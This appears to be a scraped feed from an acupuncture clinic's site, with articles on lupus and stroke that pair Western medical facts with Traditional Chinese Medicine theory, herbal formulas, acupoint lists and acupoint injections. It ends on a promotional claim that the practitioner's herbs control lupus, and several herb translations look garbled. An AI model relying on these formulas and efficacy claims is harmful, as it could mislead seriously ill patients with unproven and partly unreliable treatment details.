In this deficiency there is a persistent low-grade fever, a hot sensation in the chest, palms and soles of the feet, irritability, fatigue and a reluctance to speak. There is general swelling of tissues, redness of the face, spontaneous perspiration and night sweats, and loin and joint pain.
Toxic factor attacking the heart
Symptoms include palpitations, shortness of breath, chest fullness with a feeling of oppression and local heat, spontaneous perspiration, pallor and cold limbs.
Kidney yin deficiency
Individuals usually experience pain in the back, legs and feet, limb weakness and a sensation of hotness in the face. In more serious cases, sores appear in the mouth and on the tongue, hot sensations are felt in the chest, palms and soles of the feet, and the individual feels emotionless. Sometimes low-grade fever and swelling may be present.
Impairment of the liver due to heat
In this disharmony pattern, pain in the upper sides of the abdomen, abdominal distension, irregular and painful menstruation in females, skin rashes, bruising, insomnia, dizziness and loss of appetite are commonly experienced.

Diagnosis

The diagnosis of systemic lupus erythematosus can be difficult. The disease may present in many different ways and most of the laboratory tests carried out on patients with SLE are not specific. For these reasons, other diseases have to be carefully considered before a diagnosis of SLE can be made. Physicians should always consider the possibility of SLE in a disease which is affecting many systems of the body, especially those involving the skin and joints of young women.

In 1982, the American College of Rheumatology compiled a list of 11 criteria, at least four of which should be present, not necessarily at the same time, to make a diagnosis of SLE. In some patients, only one or two criteria may be present initially and after several weeks, months or even years do the others appear. These criteria are:

Characteristic “butterfly” rash on the face
Generalized skin rash
Mouth ulcers
Arthritis
Sensitivity to ultraviolet light
Inflammation of the lining of the chest wall or the membrane surrounding the heart
Renal (kidney) disorder
Nervous system disorder
Low red or white blood cell count
Positive antinuclear antibodies
Positive lupus anticoagulant

These last two are immunologic laboratory tests.

 

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

Questioning: The TCM practitioner will establish the medical history of both the patient and his family.
Observation: Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
Listening and swelling: The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
Touching: Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In SLE, the disharmony patterns present at different stages during the course of the disease and can be described as follows: :

Excessive toxic heat accumulation
In TCM, it is held that the occurrence of SLE is closely related to over-heating of the heart meridian. The heart controls the blood and blood vessels. When the heart pumps, blood is transported within the vessels around the entire body. The heart, blood and blood vessels are thus united by their common activities. When heat pathogens are congested in the heart meridian, it means a serious invasion of the internal organs has occurred. The qi and blood bring these pathogens to every part of the body, damaging internal organs, muscles and skin along the way.

On examination, the tongue appears red or dark red and ulcerated, or sores may be present on the inside of the mouth. The tongue may be coated with a fur that is greasy and yellow, dry and yellow, greasy and white, or the fur may be absent altogether. The pulse feels taut and rapid.
Blood yin deficiency
When the body accumulates too many heat pathogens over a period of time, the body fluids dry up and organs will not function properly. This decreases the production of blood and kidney essence and leads to a morbid condition of general weakness with sweating, low-grade fevers and hot sensations in the palms and soles of the feet.On examination, the tongue appears red with a white fur coating or with no coating. The pulse sign feels thready, rapid and weak.
Toxic factor attacking the heart
Impairment of the functioning of several internal organs signals involvement of the heart and a serious effect to the bloodflow. Individuals present with pallor, palpitations and cold extremities.On examination, the tongue is pale and coated with thin white fur. The pulse feels thready, weak, or choppy.
Kidney yin deficiency
This occurs usually in a late stage of the disease when the pathogens finally invade the kidney. Kidney-yin refers to the fluid and essence stored in the kidneys. The invading pathogens cause a deficiency in the amount of this fluid and essence and the kidneys begin to over-function. This is the yang part of the kidney compensating for the loss of yin and creates a virtual fire in the kidneys. This produces back pain, limb weakness and heatsymptoms such as fever or tongue sores.On examination, the tongue appears bulky, moist and pale. The tip of the tongue may also be red. The pulse feels deep, thready and weak.
Impairment of the liver due to heat
Heat pathogens dry up body fluid and this leads to inadequate nourishment for the liver. In TCM thinking, the liver helps regulate qi and blood movement, and the digestive function of the spleen. Individuals with this disharmony pattern present with pain in the liver region, bleeding problems or loss of appetite.On examination, an enlarged liver and spleen may be palpable.

Treatment

The management of SLE should be comprehensive and include drug and non-drug treatment. Therapy is individualized for each patient depending on the manifestations of disease and their severity. 

Corticosteroids
Systemic corticosteroid therapy is the mainstay of treatment in SLE. However, not all patients require steroids, and steroids can do more harm than good. When needed, oral maintenance doses of prednisone or prednisolone are usually prescribed.

Severe symptoms affecting the whole body, such as sustained high fevers and severe blood disorders, often need to be treated with higher doses of corticosteroids. Involvement of organs such as the heart, lungs, and central nervous system also usually requires treatment with corticosteroids.

A topical steroid is usually prescribed for skin rashes.

NSAIDs
Mild symptoms of arthritis and muscular pain are usually managed with non-steroidal anti-inflammatory drugs (NSAIDs), such as indomethacin, naproxen and ketoprofen. More severe symptoms may need an antimalarial agent and occasionally low doses of corticosteroids may be required.

Antimalarials
The antimalarials chloroquine and hydroxychloroquine possess anti-inflammatory properties and have been found of benefit in treating inflammatory conditions which have an immunologic basis. They are usually used when other first-line therapies (such as NSAIDs) fail. They are prescribed for more severe skin and joint manifestations of SLE.

Immunosuppressants
As long-term corticosteroid therapy, particularly at the higher doses, tends to cause side-effects, immunosuppressants such as azothiaprine, cyclophosphamide and methotrexate are sometimes added in an attempt to lower the dose of corticosteriod required. These drugs suppress the immune response. As immunosuppressants themselves pose a risk of long-term toxicity they need to used with care, but can be useful in the treatment of acute and severe organ involvement.

Psychiatric support
The threat of a chronic disease can be very stressful. Visiting a doctor frequently and having many laboratory tests with long waits for the results can be an emotional burden. Emotional support in the treatment of SLE is essential. It is also important that patients have extensive rest.

Preventive measures 
All possible means to prevent provocation or exacerbation of SLE should be undertaken.  As SLE is an episodic disease and is characterized by exacerbation and remission, it is extremely important to withdraw therapy slowly when an exacerbation has quieted down. This avoids unnecessary drug toxicity.

Patients with SLE need a to see their doctors at least once every three to six months, even if the disease is inactive. Patients with active disease must be assessed more frequently.

Treatment of SLE from a TCM perspective will depend on the symptoms of the individual patient. In addition to herbal decoctions used to alleviate disharmony pattern symptoms, treatment may include acupuncture for relieving pain and stiffness in the joints, and qi-gong to help focus the energy of the body in fighting the disease and strengthening the mind.

Examples of decoctions used for the different disharmony patterns

Excessive toxic heat accumulation


Therapeutic aim:To clear away heat and toxins, cool down the blood, protect the yin, remove obstructions in the meridians and clear up rashes.

Prescription: Qingying decoction

shi gao gypsum
shu di huang processed rehmannia root
mai dong dwarf lilyturf tuber
zhi mu common anemarrhena root
niu xi achyranthes root

For individuals with high fever, poor concentration and delirium, the dosages of heat-clearing drugs should be increased or the following added:

shang shi gao unprocessed gypsum
huang lian golden thread
da huang rhubarb

Some patent Chinese medicines like Purple Snowy Pill, Bezoar Bolus for Resurrectionand Treasured Bolus can be taken at the same time.

 

Yin blood deficiency

Therapeutic aim:To replenish the yin, nourish and cool down the blood, and eliminate toxins.

Prescription: Modified Zhibai Dihuang pill

zhi mu common anemarrhena root
huang bai amur cork-tree
shu di processed rhemannia root
shan yu rou Asiatic cornelian cherry fruit
shan yao common yam root
ze xie oriental water-plantain root
dan pi tree peony bark
fu ling Indian bread

For individuals with spleen deficiency add:

bai zhi large head atractylodes root
chen pi dried tangerine peel
fu ling Indian bread

In cases of very high fever add:

yin hua honeysuckle flower

For dizziness add:

ju hua chrysanthemum flower
chuan xiong Szechwan lovage root

 

Toxic factor attacking the heart

Therapeutic aim:To nourish the yin, replenish the qi, calm the mind, and clear away heat and toxins.

Prescription: Modified Huanglian antidote decoction

huang lian golden thread
huang qin baical skullcap root
huang bai amur cork tree
zhi zi Cape jasmine fruit

For spleen deficiency add:

dang shen pilose asiabell root
bai zhi large head atractylodes root

For individuals with a feeling of chest fullness add:

hou po magnolia bark
su geng perilla stem

For yin deficiency add:

yu zhu fragrant Solomon’s seal rhizome
huang jing agastache or Solomon’s seed
dong chong xia cao Chinese caterpillar fungus

 

Kidney yin deficiency

Therapeutic aim:To nourish the yin, tonify the kidneys, activate the blood circulation and eliminate toxins.

Prescription: Modified Siwu decoction

dang gui Chinese angelica
chuan xiong Szechwan lovage root
shu di processed rehmannia root
bai shao white peony root

For dampness-heat symptoms in the lower burner add:

che qian zi plantain seed
Bi xie long yam
qu mai Chinese pink herb

For individuals with backache add:

tu si zi dodder seed
chuan duan Himalayan teasel root

For joint pain add:

ji xue teng suberect spatholobus stem
shen jin cao common club-moss herb
liu ji nu diverse wormwood herb
xu chang qing paniculated swallow-wort root

 

Impairment of the liver due to heat

Therapeutic aim:To nourish the yin, cool down the blood, eliminate toxins, activate the blood circulation, clear away blood stasis and remove obstructions in the meridians.

Prescription: Modified Xiefu Zhuyu decoction

tao ren peach seed
hong hua safflower flower
dang gui Chinese angelica
sheng di common yam root
chuan xiong Szechwan lovage root
chia hao red peony root
niu xi achyranthes root
jie geng platycodon root
chai hu Chinese tororwax root
zhi qiao orange fruit
gan cao liquorice root

For individuals with severe blood stasis add:

san leng bur-reed tuber
e zhu zedoary rhizome
yi mu cao motherwort herb
chuan xin lian andrographis herb
gui jian yu winged spindle tree

For severe abdominal distention and pain below the ribs add:

hou po magnolia bark
chen pi dried tangerine peel
xiang fu nut-grass

For qi deficiency and residual heat toxins add:

huang qi milk-vetch root
qin jiao large-leafed gentian
wu she black snake

For over heated blood and a well-defined rash add:

ji guan hua cockscomb
mei gui hua rose
ling xiao hua trumpet creeper flower

Dr. Wang who is expert on treatment of SLE  RA with his spacial prepared herb medicine in over thirty year experience in clinic and  with Acupuncture treatment can very good control the disease and stop pain joint swollen.

]]> Stroke http://acuherb.us/stroke/ Wed, 22 Aug 2012 03:31:26 +0000 http://acuherb.us/?p=1665

By Dr. Kenneth Wang

Stroke, sometimes called “brain attack” or in earlier times “apoplexy,” is medically known as a cerebrovascular accident (CVA). It occurs when a blood vessel is so severely blocked or damaged that part of the brain is deprived of oxygen long enough for brain tissue to die. It is one of the most common causes of death and disability worldwide. 

While some people die from their first stroke about 25 percent of people who suffer a stroke die within one month. Many people recover but are left with brain damage of different degrees, depending on what part of the brain has been affected. If it occurs in the speech area the victim may be left with no speech, or may forget a second language learned in childhood. If it affects the “motor area” controlling movement, the person may be left paralyzed on one side of his body. Stroke is more common in “first world” countries where people survive childhood infections that still kill many people in “third world” countries. Because vaccination, cleaner water systems and antibiotic use have effectively reduced deaths from infectious diseases, death from stroke occurs in older people and is often caused by lifestyle habits. 

How a stroke happens:
Strokes are commonly caused in three ways. 

1.Hemorrhage
This occurs when an artery bursts and bleeds into brain tissue. The part of the brain that should have been supplied with oxygen by that artery is deprived of oxygen and begins to die off. 

2.Thrombosis
A thrombus is a clot. If it forms in an artery supplying a part of the brain, the blood supply will be blocked and damage occurs because that part of the brain is deprived of oxygen. 

3.Embolus
This is the most common cause of stroke. It occurs when a clump of tissue, usually a blood clot, forms deposits blocking arteries somewhere else in the body (often the carotid arteries in the neck), and then breaks off and gets stuck in a small artery in the brain.(See above picture) Again, this prevents a part of the brain from getting oxygen so the cells in that part of the brain die.

Chinese people in ancient times classified the type of stroke according to where it originated. Mostly they thought stroke was caused by an invasion of exogenous pathogens (factors from outside the body that invade it and cause illness), and called this a true stroke or exogenous stroke. Stroke induced by endogenous pathogens (factors originating from inside the body causing disease) were labeled as stroke-like or called an internal stroke. Now, according to modern day Traditional Chinese Medicine (TCM) understanding and clinical practice, stroke is thought to be mostly due to internal factors.

These factors whether originating from inside or outside the body are generally attributed to “wind evils.” Wind evils are negative influences that upset the healthy balance of the body. The Chinese likened these influences to being knocked down by a natural wind because of their sudden onset and lingering, changeable nature. In ancient China, the disease was referred to as “zhongfeng,” which literally translated means “wind stroke.” According to Chinese medicine theory, stroke is not thought of as a disease affecting the brain only. It can affect either the meridians or a whole range of organs (viscera).

An early definition of a stroke can be found in the classic medical book named “Huang Di Nei Jing” (The Yellow Emperor’s Classic of Internal Medicine), written during the Han Dynasty (approx. 200 B.C). Under this book’sSuwen (The Book of Plain Questions) section, stroke is described in the following manner. “The organ’s acupoints are the doors for evil winds to flow into the body. When wind flows inside the body, it will turn into internal wind-evils. If allowed to stay inside, the internal wind evils cause stroke.” This book also described stroke related symptoms such as hemiplegia (paralysis on one side of the body), difficulty in speech, and facial distortion. (See diagrams above) Another TCM medical classic named “Synopsis of the Golden Chamber” (300A.D.), stated that stroke was mainly caused by a lack of blood in small vessels, a lack of qi flow, and the invasion of outside evil winds into the body. The symptoms of a stroke were described according to what part of the body the evil winds invaded. It stated “if a evil wind invades the collaterals (these are part of the meridian system and they run more on the surface of the body), the skin and muscles feel numb. When it invades the channels (these are also part of the meridian system and they run deep and vertical in the body), the body will become seriously ill. When it invades the hollow organs or Fu-organs which consists of the stomach, small intestine, large intestine, gall bladderand bladder, the body will become unconscious; and when it invades the solid organs or Zang-organs, which consists of the liver, heart, lungs, spleen and kidneys, speech difficulties and drooling can occur.” This book also divides stroke into two categories, strokes involving the meridians and strokes involving the viscera or organs. Stroke in the later medical classics like “ A Thousand Golden Prescriptions“, “Medical Secrets of an Official” and “ Prescriptions for Saving Lives“, have similar classifications. Much progress was made understanding stroke in the Jin and Yuan Dynasties, and consequently many more TCM prescriptions were developed or improved for treatment of this disease. 

Stroke is characterized by a combination of symptoms such as a sudden fall, unconsciousness accompanied by hemiplegia (paralysis on one side of the body), an appearance of facial distortion or the presence of a speech disorder. In minor cases, individuals may not suddenly collapse or lose consciousness. Instead, they may just suffer from hemiplegia (paralysis on one side of the body) and facial distortion.

 Causes

High blood pressure is a leading cause of stroke.

Other factors that make people more likely to suffer stroke are:

Smoking
Atherosclerosisa condition where fatty deposits build up in and weaken arteries. If those deposits build up in the carotid arteries, the large arteries in the neck, the chances of stroke are very much increased because the risk of embolus is so great.
Having heart disease, especially atrial fibrillation (a condition where the upper chamber of the heart, the atrium, develops an irregular beat). This irregular beat makes the blood flow more slowly so that clots form on the walls of the atrium. Pieces of these clots break off and travel to the brain where they block blood vessels, causing strokes.
Obesity
Being male
Taking oral contraceptive pills, which make the blood more likely to form clots.
Having blood disorders interfering with normal clotting.
Having high blood fat and/or blood cholesterol levels.
Diabetes

 In TCM theory, stroke is not just considered an illness of the brain. It affects the meridians, other organs and blood vessels as well. It is thought to be caused by internal and external influences that induce a build up of qi and blood and create a high pressure state, which ultimately leads to a stroke. This is similar to western medicine’s understanding of high blood pressure being a risk factor for developing a stroke.

The mechanisms by which a stroke occurs and causes bodily damage are complicated. At least four external factors and six internal factors have been identified that contribute to this process. The external risk factors that contribute to the development of a stroke include the hypo- functioning or under functioning of the liver and kidney, improper diet and body overstrain, emotional disturbance, and aging and weak body constitution. These lead to further problems inside the body that upset its natural healthy balance. The six internal influences that contribute to a stroke are deficiency states such as yin deficiency and qi; deficiency an excess of fire (sometimes referred to as excessive heat) such as liver-fire and heart-fire; wind evils such as endogenous wind originating from inside the body and exogenous wind originating from outside the body; an accumulation of phlegm; stagnant qi flow and blood stasis. These six factors will interact with each other under certain conditions to bring forth diseases such as a stroke. The TCM mechanisms by which a stroke occurs are further detailed below.

How the under- functioning or hypo- function of the liver and kidney cause a stroke 

A yin deficiency occurring from old age, hypo-function (under-function) of both the liver and kidney, or an excess of sexual activities can all lead to a gradual exhaustion of germ cells and blood. Germ cells are the sperm and egg cells. Germ cells and blood come from the same source in TCM. When germ cells decrease with age, production of blood declines. This leads to relative yang excess in the body, and causes wind evil to build up inside. Stroke will finally develop if the wind evils are not removed from the body. 

When the kidney, which belongs to water of the five elements, fails to nourish the liver- a wood element – a liver-yang excess is produced that transforms into an internal wind evil. The wind evil is responsible for causing the stroke. Alternatively, stroke may be also caused by an insufficiency of liver-yin. This occurs when heat is produced due to the dryness of the blood. The heat makes the wind evil flow upwards in the body which affects the meridians and obstructs orifices (openings of the body). This in turn causes qi and blood flow to become stagnant which can cause a stroke. 

How excess fire or heat causes a strokeThe kidney belongs to the water of the five elements. When kidney yin is exhausted, it cannot restrict a build up of fire or heat in the body caused by mental stress, emotional disturbances or an extreme excess of heart-fire. Excess heat causes depression and confusion, and induces too much qi and blood to ascend to the brain, which leads to a stroke. 

Accumulation of phlegm and dampness 
Over consumption of food and drink leads to spleen malfunction. In TCM, the spleen is responsible for transforming food and drink into qi, and transporting it to the lungs where it can be distributed throughout the body to nourish it. When it malfunctions, an accumulation of dampness develops which leads to a build up of phlegm. When this phlegm cannot be removed, it transforms into heat and then an evil wind; all of which exert negative influences on the body and cause illness. The build up of phlegm, heat and wind all disturb the meridians and brain, which can lead to a stroke.

Alternatively, phlegm can accumulate when there is a liver-yang excess. It is produced when wind evils builds up in the liver and a person overworks or is unable to sleep at night. One of the liver’s main functions is to support the flow of qi throughout the body, so a build up of wind evils accompanied by phlegm disturbs the meridians and causes the circulation of qi to stop. This results in unconsciousness, which is a serious symptom of a stroke. 

How old age, body weakness and qi deficiency allow evil influences to invade the body and cause stroke 

When a person experiences old age, a qi deficiency or has excessive thinking and fatigue, qi flow and blood circulation are damaged especially in the small collaterals of the meridians. Pathogens (any substance that causes an illness) take this opportunity to invade the body, which leads to further stagnation of qi and blood flow. This lack of normal qi and blood movement within the body causes a loss of nourishment to the tendons and muscles, which ultimately can lead to numbness of skin and muscles often seen with stroke. 

A weak body constitution can cause a chronic accumulation of phlegm-dampness and allow exogenous pathogens (any substance originating from outside the body that causes an illness) like wind to invade the body. These wind and phlegm evils block the meridians and orifices (any body opening like the mouth) and lead to stroke symptoms such as hemiplegia (paralysis on one side of the body). 

Symptoms

The symptoms experienced by someone having a stroke depend on which part of the brain is being deprived of oxygen. Sometimes people get early warning signals that they may soon suffer a stroke when they suffer “mini-strokes” otherwise known as “transient ischemic attacks (TIA’s).” People who suffer from mini-strokes have all the symptoms of stroke, but recover completely within a few hours or days. If a clot is slowly forming or a small hemorrhage has developed, early signs may give enough warning for effective medical treatment to be started. These signs should be taken seriously and qualified medical help should be immediately sought. 

The most common warning signs of a stroke are:

Weakness down one side of the body. Depending on how much of the brain is affected, this can range from “clumsiness,” where weakness makes it hard to lift the arm or leg and to hold or carry things, to complete paralysis down one side of the body. If this weakness occurs as part of a transient ischemic attack (TIA) or “mini stroke”, the sufferer often thinks they are just getting old, are a bit tired or perhaps slept in the wrong position.
A numbness/ loss of feeling in a part of the body.
Sudden inability to tell hot from cold.
A sudden problem with vision-blurred vision, double vision or loss of part of the visual field (part of the picture just disappears).
Dizziness, nausea, or feeling unsteady when standing or walking.
Difficulty walking and sudden `clumsiness’: leaning to one side or falling to one side and bumping into objects when walking.
Sudden problems remembering words or actually speaking. Speech may (understood from last sentence) become slurred.
Sudden problems understanding what people are saying.
Dribbling
Confusion
Episodes of loss of consciousness.
Difficulty swallowing


Less common symptoms include sudden, very severe headaches, described by neurologists as an intensely painful headache, which comes on ‘like a thunderclap’. This symptom, when it occurs, is most often felt when the stroke is being caused by hemorrhage.

 

Because a stroke often sees a sudden onset and rapid change in clinical symptoms, the symptoms’ degree of seriousness can differ greatly. In TCM, stroke symptoms are differentiated according to what area the stroke affects. Strokes affecting themeridians mainly impair superficial parts of the body. Individuals, who suffer from this kind of stroke, usually have symptoms that are not too serious and their prognosis is favorable. On the other hand, strokes involving the internal organs (viscera) deeply impair normal body functioning. These individuals usually experience serious and severe symptoms and have a less favorable outcome.

Strokes Involving the Meridians


Meridian System

Meridians are pathways in which the qi and blood circulate and through which the organs and limbs are connected, allowing the upper-lower and interior-exterior portions of the body to communicate.

Channels run in straight fixed courses

Collaterals run crisscross in the body

Stroke involving the meridians is considered to be minor. Symptoms include numbness of the muscles, skin and limbs, difficulty in walking, an appearance of a crooked mouth, difficulty speaking and hemiplegia (paralysis on one side of the body).

If the individuals suffering from this type of stroke have a lack or stagnation of qi andblood flow in the small collaterals of the meridian system, other symptoms may be present such as an aversion to cold temperatures, fever, muscular stiffness, and joint soreness. On physical exam, there may be a thin white film covering the tongue and the presence of a floating and rapid pulse.

If this type of stroke is caused by either a liver-yin or kidney-yin deficiency, wind and phlegm evils that result from these conditions will flow upwards in the body and cause symptoms of dizziness, blurred vision, headache, tinnitus (ringing in the ears), irritable sleeping, and deep yellow-colored urine. On physical exam there may be the appearance of a red tongue with a stringy, thready and rapid pulse. 

Strokes Involving the Viscera (Organs)
 

A serious stroke is usually associated with symptoms of a sudden collapse or loss of consciousness and usually involves the muscles, limbs or joints. It can be differentiated into stroke bi-syndrome and collapse syndrome. 

1. Stroke of Bi-syndrome
This is due to an accumulation of wind-phlegm evils inside the body, leading to an obstruction of the orifices (openings to the body such as the mouth). The general clinical manifestations are sudden coma, unconsciousness, trismus (persistent contraction of the masseter muscle which helps close the jaw and chew food), clenching of fists, constipation and no urination. 

Additional symptoms such as fever, flushed face, irritability, rough breathing sounds, and halitosis (bad breath) belong to the yang bi-syndrome of stroke. On physical examination, these individuals may have a red tongue with a yellowish and greasy covering, and a stringy and rapid pulse. 

Symptoms like sleepiness, snoring, pale facial appearance, purple lips, and cold limbs belong to the yin bi-syndrome of stroke. On physical examination, there may be a white and greasy tongue covering and a deep, moderate and rolling pulse.
2. Stroke Collapse-syndrome
This condition occurs when there is a dissociation of yin and yang in the body, meaning these two forces are unable to work together and create balance to maintain a healthy state. It is a life threatening condition that can be caused by a severe and prolonged deficiency of vital qi. The main symptoms are a sudden collapse, unconsciousness, weak and superficial breathing, cold limbs, and a loss of control of urination and defecation (ability to stool). The eyes appear shut and the mouth is open. 

When symptoms such as the appearance of a red face, profuse greasy sweating, cold limbs, faintness and the presence of a thready pulse start to diminish, it indicates the exhaustion of true-yang and that a person is dying.

Stroke Sequelae
After obtaining emergency treatment for a stroke, many individuals regain consciousness, resume eating and drinking, and regain control of normal urination and defecation (stooling). However, some symptoms may not return to normal and remain as stroke sequelae. Symptoms such as hemiplegia (paralysis on one side of the body), difficulty in speech, an appearance of a crooked mouth, puffy and weak limbs, stiffness, limb contraction and spasm, or muscle wasting (atrophy) can be present long after the stroke occurs and may not be able to be reversed back to normal functioning. For these individuals, rehabilitation such as physical, speech and occupational therapy are used by western doctors to help regain some amount if not all of the lost body functions. TCM practitioners can also assist in this process by using techniques such as Chinese medicine, acupuncture, acupressure, massage, moxibustion and tai chi exercises to help strengthen the muscles, relieve lingering pain and restore the normal flow of qi throughout the body. 

Differentiating a Stroke from Epilepsy and Syncope (Fainting)
When there is a loss of consciousness or the presence of a coma, it is important to differentiate whether the cause is from a stroke, syncope (fainting), or epilepsy since the treatment for each of these conditions will be different. 

Stroke: 
When a person experiences a major stroke, there are usually other accompanying symptoms such as facial distortion, the presence of a crooked mouth or paralysis down one side of the body. After the stroke has occurred and a person regains consciousness, these symptoms usually remain and may not get better over time without other medical interventions. 

Syncope: 
This condition is a temporary sudden loss of consciousness caused by a lack of blood flow to the brain. This condition usually lasts for a short amount of time, and the person may have a pale complexion and cold limbs while unconscious. Stroke symptoms such as paralysis on one side of the body and facial distortion are not present. Individuals generally return to normal functioning once consciousness is regained. 

Epilepsy: 
Epilepsy is a chronic disease where the brain cells do not function properly this causing seizures. Typically, an epileptic seizure is characterized by an altered state of consciousness and may involve convulsions of one part or the entire body. Other symptoms that can occur with a seizure include drooling, foaming at the mouth, making abnormal sounds and having abnormal eye movements. An epileptic seizure generally lasts only for a short period. When individuals regain their normal conscious state, the symptoms experienced during the seizure are gone. They may have a headache and feel extremely tired, but otherwise have normal functioning. 

Diagnosis

Diagnosis in TCM is based on four examination techniques. The first is “questioning.” The TCM practitioner will want to know what the individual’s current complaints are, and will need their medical history and family health history. The second technique is “observation.” Physical features of the body such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and examining the area of pain all offer clues as to what the problem may be. Observation of the tongue is particularly useful as a gage to assess illness. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest offer additional clues. The last technique used in examination is “touching.” Feeling the pulse is a cornerstone of TCM diagnosis and gives the TCM practitioner a lot of information about the body’s imbalance. 

With stroke, the TCM practitioner will want to diagnose whether it involves the meridians or the viscera (organs) in order to make appropriate treatment decisions. 

During the acute stage of a stroke involving the meridians, the TCM practitioner will assess the individual for symptoms of:

Distortion of mouth and tongue
Numbness
Difficulty in speech
Hemiplegia
(paralysis on one side of the body)

During an acute stage of a stroke involving the viscera, the TCM practitioner will assess the individual for symptoms of:

Hemiplegia
(paralysis on one side of the body)
Distortion of mouth and tongue
Paraesthesia of one side of body
Difficulty in speech
Unconsciousness
Problems excreting urine or stool

Note: If a TCM practitioner suspects there might be a serious problem that Chinese medicine alone cannot treat, he or she will normally recommend the individual see a western doctor for further follow up. In the case of a stroke where an individual is experiencing any of the above symptoms, it should be taken very seriously and the appropriate medical care should be sought out preferably in an emergency setting. 

If the stroke symptoms are stable and have remained longer than half a year, they are considered to be sequelae symptoms.Damage has already been done to the body that usually cannot be reversed back to its original state of functioning. TCM practitioners in these cases will try to help these individuals gain back as much functioning as they can. 

Treatment

Generally, for the acute phases of stroke affecting the meridians or organs, herbal decoctions or remedies are mainly be used for treatment. The use of acupuncture and moxibustion may also be used as additional therapy. During the recovery phase, stroke sequelae symptoms will be principally treated with acupuncture,(click here to see moxibustion techniques) and accompanied by some Chinese medicine. It is always best to seek the advice of a qualified Chinese medicine practitioner before undergoing such treatment, so they can form a correct diagnosis and monitor an individual’s response to therapy. The following are some examples of prescriptions and acupuncture points that can be useful for treating stroke. 

Strokes Involving the Meridians

Therapeutic aim: Expel wind evils, eliminate phlegm, enrich the blood and remove obstruction in the meridian channels.

Prescriptions for strokes involving the meridians 

Acupuncture and Moxibustion: 
Mainly acupuncture or moxibustion is applied along the Arm-Yangming and Leg-Yangming meridians. Acupuncture with purgation techniques are used. 

Acupoints for hemiplegia(paralysis on one side of the body):
Jian Yu, Qu Chi, Shou San Li, Wai Guan, He Gu, Huan Tiao, Zu San Li, Yang Ling Quan, Feng Long, Jie Xi, Kun Lun, Tai Chong. 

Additional acupoints for facial distortion such as a crooked mouth: 
Di Cang, Jia Che, Qian Zheng, Feng Chi 

Additional acupoints for dizziness and blurred vision: 
Bai Hui, Feng Chi, Feng Fu, He Gu 

Additional acupoints for difficulty with speech:
Lian Quan, Ya Men, Jin Jin, Yu Ye, Tong Li 

Additional acupoints for contracted fingers: 
Ba Xie, Hou Xi, San Jian, Da Ling.

Additional acupoints for numbness foot toes:
Tai Chong, Tai Xi, San Yin Jiao, Ba Feng 

Additional acupoints for tinnitus (ringing of the ears) and irritable sleeping: 
Shen Yu, Guan Yuan, Tai Xi, San Yin Jiao

 
Strokes Involving the Viscera (Organs)
   
1. Stroke of Bi-syndrome
Therapeutic aim: Restore consciousness, eliminate phlegm, suppress the hyperactive liver and dispel the wind evils. 

(a). Treatment for yang Bi-syndrome of strokes

Therapeutic principle: clear liver-yang excess by eliminating wind-evils, extinguish the fire (or expel the evil heat influence), expel phlegm and restore consciousness. 

Prescriptions for yang Bi-syndrome of strokes 

Acupuncture and moxibustion: 
Mainly the acupuncturist can apply acupressure, acupuncture or moxibustion to the twelve Well-points. (On each of the twelve meridians, there is one special point known as the well point, which makes up the twelve well points.) When using acupuncture it is best to prick with a three-edged needle to cause bleeding. 

For unconscious persons: 
Shi Xuan, Ren Zhong, twelve Well-point, He Gu, Lao Gong, Feng Long, Tai Chong, Xing Jian. 

Additional acupoints for facial clenching:
Jia Che, xia Guan, He Gu 

Additional acupoints for abundant expectoration: 
Tian Tu, Feng Long, Yin Ling Quan, San Yin Jiao 

(b). Treatment for yin Bi-syndrome of stroke

Therapeutic principle: restore consciousness by warming up the body, remove phlegm and arrest wind-evils. 

Prescriptions for yin Bi-syndrome of strokes 

Acupuncture and moxibustion: 
It is best to use a filiform needle with mild reinforcing and attenuating acupuncture techniques.Use the same acupoints as for the yang Bi-syndrome of stroke, plus Zu San Li and San Yin Jiao. 

2. Collapse Syndrome of Stroke

Therapeutic principle: Restore vital energy (qi) from collapsing and replenish the depleted yang. 

Prescriptions for Collapse Syndrome of Stroke 

Acupuncture and moxibustion: 
Acupuncture is applied to the large collaterals of the Ren meridian, also known as the “Conception Vessel Meridian“. A big moxa roll should be used with moxibustion along these collaterals. 

Acupoints: Guan Yuan (monkshood moxibustion), Shen Que (Salt interposed moxibustion). 

Stroke Sequelae
   
1. Hemiplegia

Therapeutic principle: Benefit qi by activating blood circulation and promote the flow of qi and blood in the meridians.

Prescriptions for Stroke Sequelae

Acupuncture and moxibustion: 
The same acupoints along the Yangmingmeridians that used for Stroke Involving the Meridians are suggested for hemiplegia (paralysis on one side of the body). 

Additional acupoints for individuals with qi deficiency: Dan Zhong, Zu San Li.

Additional acupoints for individuals with yang hyperactivity: Fen Chi, He Gu and Tai Chong.

Additional acupoints for individuals with yin deficiency: San Yin Jiao, Zhao Hai and Tai Xi. 

2. Difficulty with speech

Therapeutic principle: Eliminate phlegm for resuscitation.

Prescription: Jieyu Decoction (See the treatment of Stroke Involving the Meridians) 

Acupuncture and moxibustion: Use Lian Quan (triple puncture technique), Tong Li and Feng Long acupoints. 

3. Facial Distortion such as Crooked Mouth

Therapeutic principle: Break up the evil wind and make the crooked mouth return normal.

Prescription: Qianzheng Powder (See the treatment of Stroke Involving the Meridians) 

Acupuncture and moxibustion: Use Di Cang, Xia Guan, Jia Che, Feng Chi and He Gu acupoints. 

4. Other Therapies

Scalp acupuncture: Select the part of the scalp that is opposite of the paralyzed part of the body. Use the acupuncture zones that correspond to the type of stroke injury i.e motion zone, zone for motion sensation of feet, and speech zone for the patients unable to speak.

Hydro-acupuncture therapy: Danshen injection, Chinese angelica (dang gui) injection, Safflower (hong hua) injection, Cerebrolysin injection, Citicoline (cytidine diphoshate Choline) injection and other injections of traditional Chinese medicines or Western medicines can be injected into the acupoints of Shou San Li and Zu San Li on the paralyzed part of the body.

Massage therapy: Relevant parts of the body are selected to have massage therapy in accordance with clinical symptoms.

 

 

]]> The Heart http://acuherb.us/the-heart/ Fri, 29 Jun 2012 18:55:46 +0000 http://acuherb.us/?p=1538

By Kenneth Wang

Functions of the Heart

